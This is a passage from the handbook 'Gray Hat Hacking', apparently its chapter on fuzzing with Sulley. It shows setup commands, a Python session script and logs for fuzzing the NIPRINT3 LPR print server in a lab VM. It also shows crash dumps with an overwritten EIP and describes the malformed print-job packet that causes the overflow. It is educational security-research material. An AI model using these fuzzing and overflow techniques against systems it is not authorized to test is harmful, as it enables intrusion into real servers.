niprint_lpr_515_a.crashbin -l 5
[02:00.15] Process Monitor PED-RPC server initialized:
[02:00.15] crash file: audits\niprint_lpr_515_a.crashbin
[02:00.15] # records: 0
[02:00.15] proc name: None
[02:00.15] log level: 5
[02:00.15] awaiting requests
As you can see, we created a crashbin to hold all of our crash data for later inspection. By
convention, use the audits folder to hold current fuzz data. We have also set the logging
level to 5 in order to see more output during the process.
At this point, the process_monitor.py script is up and running and ready to attach to a
process.
Monitoring the Network Traffic
After the fuzzing session is over, we would like to inspect network traffic and quickly
find the malicious packets that caused a particular fault. Sulley makes this easy by pro-
viding the network_monitor.py script.
We will launch the network_monitor.py script from within the virtual machine as
follows:
{common host-guest path to sulley}>mkdir audits\niprint_lpr_515
{common host-guest path to sulley}>python network_monitor.py -d 1 -f "src or dst
port 515" -–log_path audits\niprint_lpr_515 -l 5
[02:00.27] Network Monitor PED-RPC server initialized:
[02:00.27] device: \Device\NPF_{F581AFA3-D42D-4F5D-8BEA-55FC45BD8FEC}
[02:00.27] filter: src or dst port 515
[02:00.27] log path: audits\niprint_lpr_515
[02:00.27] log_level: 5
[02:00.27] Awaiting requests

Notice we have started sniffing on interface [1]. We assigned a pcap storage directory and
a Berkley Packet Filter (BPF) of “src or dst port 515” since we are using the LPR protocol.
Again, we set the logging level to 5.
At this point, we ensure our target application (NIPRINT3) is up and running, ensure
we can successfully connect to it from our host, and we save a snapshot called “sulley”.
Once the snapshot is saved, we close VMware.
Controlling VMware
Now that we have our target set up in a virtual machine and saved in a snapshot, we can
control it from the host with the vmcontrol.py script.
We will launch the vmcontrol.py script in interactive mode from the host as follows:
C:\Program Files\Sulley Fuzzing Framework>python vmcontrol.py -i
[*] Entering interactive mode
[*] Please browse to the folder containing vmrun.exe
[*] Using C:\Program Files\VMware\VMware Workstation\vmrun.exe
[*] Please browse to the folder containing the .vmx file
[*] Using G:\VMs\WinXP5\Windows XP Professional.vmx
[*] Please enter the snapshot name: sulley
[*] Please enter the log level (default 1): 5
[02:01.49] VMControl PED-RPC server initialized:
[02:01.49] vmrun: C:\PROGRA~1\VMware\VMWARE~1\vmrun.exe
[02:01.49] vmx: G:\VMs\WinXP5\WINDOW~1.VMX
[02:01.49] snap name: sulley
[02:01.49] log level: 5
[02:01.49] Awaiting requests
At this point, vmcontrol.py is ready to start accepting commands and controlling the
target virtual machine by resetting the snapshot as necessary. You don’t have to worry
about this; it is all done automagically by Sulley.
NOTE if you get an error when running this script that says:
[!] Failed to import win32api/win32com modules, please install these! Bailing ,
you need to install the win32 extensions to Python, which can be found at:

/>Putting It All Together
We are now ready to put it all together and start our fuzzing session. Since we have
already built the session, we just need to enable a few more actions in the fuzzing ses-
sion script.
The following code can be placed at the bottom of the existing file:
{common host-guest path to sulley}\fuzz_niprint_lpr_servert_515.py
#######################################################################
#set up target for session
target = sessions.target("10.10.10.130", 515)
#set up pedrpc to talk to target agent.
target.netmon = pedrpc.client("10.10.10.130", 26001)
target.procmon = pedrpc.client("10.10.10.130", 26002)
target.vmcontrol = pedrpc.client("127.0.0.1", 26003)
target.procmon_options = \
{
"proc_name" : "NIPRINT3.exe",
# "stop_commands" : ['net stop "NIPrint Service"'],
# "start_commands" : ['net start "NIPrint Service"'],
}
Gray Hat Hacking: The Ethical Hacker’s Handbook
452
Chapter 17: Intelligent Fuzzing with Sulley
453
PART IV
#start up the target.
target.vmcontrol.restart_target()
print "virtual machine up and running"
# add target to session.
sess.add_target(target)
#start the fuzzing by walking the session graph.

sess.fuzz()
print "done fuzzing. web interface still running."
This code sets up the target for the fuzzing session and provides arguments for the
process_monitor script. Next the virtual machine target snapshot is reset, we add the tar-
get to the session, and the fuzzing begins. We commented-out the service start and stop
commands, as the version of NIPRINT3 we are using has a demo banner that requires
user interaction when the process starts, so we will not be using the service start/stop
capability of Sulley for this server.
We can run this program as before; however, now the fuzzing session will begin and
requests will be sent to the target host over port 515.
{common host-guest path to sulley}>python fuzz_niprint_lpr_servert_515.py
graph is ready for inspection
virtual machine up and running
[02:02.17] current fuzz path: -> LPR shallow request
[02:02.18] fuzzed 0 of 12073 total cases
[02:02.18] fuzzing 1 of 5595
[02:02.31] xmitting: [1.1]
[02:02.45] netmon captured 451 bytes for test case #1
[02:02.50] fuzzing 2 of 5595
[02:02.50] xmitting: [1.2]
[02:02.53] netmon captured 414 bytes for test case #2
[02:02.54] fuzzing 3 of 5595
[02:02.55] xmitting: [1.3]
[02:02.56] netmon captured 414 bytes for test case #3
…truncated for brevity…
[02:03.06] fuzzing 8 of 5595
[02:03.06] xmitting: [1.8]
[02:03.07] netmon captured 909 bytes for test case #8
[02:03.07] fuzzing 9 of 5595
[02:03.08] xmitting: [1.9]

[02:03.09] netmon captured 5571 bytes for test case #9
[02:03.16] procmon detected access violation on test case #9
[02:03.16] [INVALID]:41414141 Unable to disassemble at 41414141 from thread 452
caused access violation
[02:03.17] restarting target virtual machine
PED-RPC> unable to connect to server 10.10.10.130:26002
PED-RPC> unable to connect to server 10.10.10.130:26002
[02:06.26] fuzzing 10 of 5595
[02:06.34] xmitting: [1.10]
[02:06.36] netmon captured 5630 bytes for test case #10
[02:06.43] procmon detected access violation on test case #10
[02:06.44] [INVALID]:41414141 Unable to disassemble at 41414141 from thread 452
caused access violation
[02:06.44] restarting target virtual machine
Gray Hat Hacking: The Ethical Hacker’s Handbook
454
You should see your vmcontrol window react by showing the communication with
VMware™. Next you should see the virtual machine target reset and start to register pack
-
ets and requests. You will now see the request being sent to the target virtual machine
from the host, as shown earlier.
After the first request is sent, you may open your browser and point it to http://
127.0.0.1:26000/. Here you should see the Sulley Fuzz Control.
As of the writing of this book, you have to refresh this page manually to see updates.
Postmortem Analysis of Crashes
When you have seen enough on the Sulley Fuzz Control screen, you may stop the fuzz
-
ing by killing the fuzzing script or by clicking Pause on the Sulley Fuzz Control screen. At
this point, you can browse the crashes you found by clicking the links in the Sulley Fuzz
Control screen or by using the crash_explorer.py script.

You may view a summary of the crashes found by pointing the script to your crashbin.
{common host-guest path to sulley}>python utils\crashbin_explorer.py audits\
niprint_lpr_515_a.crashbin
[2] [INVALID]:41414141 Unable to disassemble at 41414141 from thread 452 caused
access violation
9, 10,
[1] [INVALID]:5c2f5c2f Unable to disassemble at 5c2f5c2f from thread 452 caused
access violation
17,
Chapter 17: Intelligent Fuzzing with Sulley
455
PART IV
[1] [INVALID]:2e2f2e2f Unable to disassemble at 6e256e25 from thread 452 caused
access violation
18,
We stopped our fuzz session after a few minutes, but we already have some juicy results.
As you can see bolded in the preceding output, it looks like we controlled eip already.
Wow, as we know from Chapter 11, this is going to be easy from here.
Now, if we wanted to see more details, we could drill-down on a particular test case.
{common host-guest path to sulley}>python utils\crashbin_explorer.py audits\
niprint_lpr_515_a.crashbin -t 9
[INVALID]:41414141 Unable to disassemble at 41414141 from thread 452 caused
access violation
when attempting to read from 0x41414141
CONTEXT DUMP
EIP: 41414141 Unable to disassemble at 41414141
EAX: 00000070 ( 112) -> N/A
EBX: 00000000 ( 0) -> N/A
ECX: 00000070 ( 112) -> N/A
EDX: 00080608 ( 525832) -> |ID{,9, (heap)

EDI: 004254e0 ( 4347104) -> Q|` (NIPRINT3.EXE.data)
ESI: 007c43a9 ( 8143785) -> /.:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (heap)
EBP: 77d4a2de (2010424030) -> N/A
ESP: 0006f668 ( 456296) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)
+00: 41414141 (1094795585) -> N/A
+04: 41414141 (1094795585) -> N/A
+08: 41414141 (1094795585) -> N/A
+0c: 41414141 (1094795585) -> N/A
+10: 41414141 (1094795585) -> N/A
+14: 41414141 (1094795585) -> N/A
disasm around:
0x41414141 Unable to disassemble
SEH unwind:
0006fd50 -> USER32.dll:77d70494
0006ffb0 -> USER32.dll:77d70494
0006ffe0 -> NIPRINT3.EXE:00414708
ffffffff -> kernel32.dll:7c8399f3
The graphing option comes in handy when you have complex vulnerabilities and need
to visually identify the functions involved. However, this is a straightforward buffer
overflow and eip was smashed.
Analysis of Network Traffic
Now that we have found some bugs in the target server, let’s look at the packets that caused
the damage. If you look in the sulley\audits\niprint_lpr_515 folder, you will find too
many pcap files to sort through manually. Even though they are numbered, we would like

to filter out all benign requests and focus on the ones that caused crashes. Sulley provides
a neat tool to do just that called pcap_cleaner.py. We will use the script as follows:
{common host-guest path to sulley}>python utils\pcap_cleaner.py audits\
niprint_lpr_515_a.crashbin audits\niprint_lpr_515
Now we are left with only pcap files containing the request that crashed the server. We
can open them in Wireshark and learn what caused the crash.
From Figure 17-2 we can see that a request was made to “start print job,” which started
with ‘\x01’ and a queue name ‘\x2f\x2e\x3a\x2f’ and then many As. The As overwrote eip
somewhere due to a classic buffer overflow. At this point, we have enough information to
produce a vulnerability notice to the vendor…oh wait, it has already been done!
Way Ahead
As you have seen, we have rediscovered the NIPRINT3 buffer overflow used in Chapter
11. However, there may be more bugs in that server or any other LPR server. We will leave
it to you to use the tools and techniques discussed in this chapter to explore further.
Gray Hat Hacking: The Ethical Hacker’s Handbook
456
Figure 17-2 Wireshark showing the packet that crashed the LPR server

×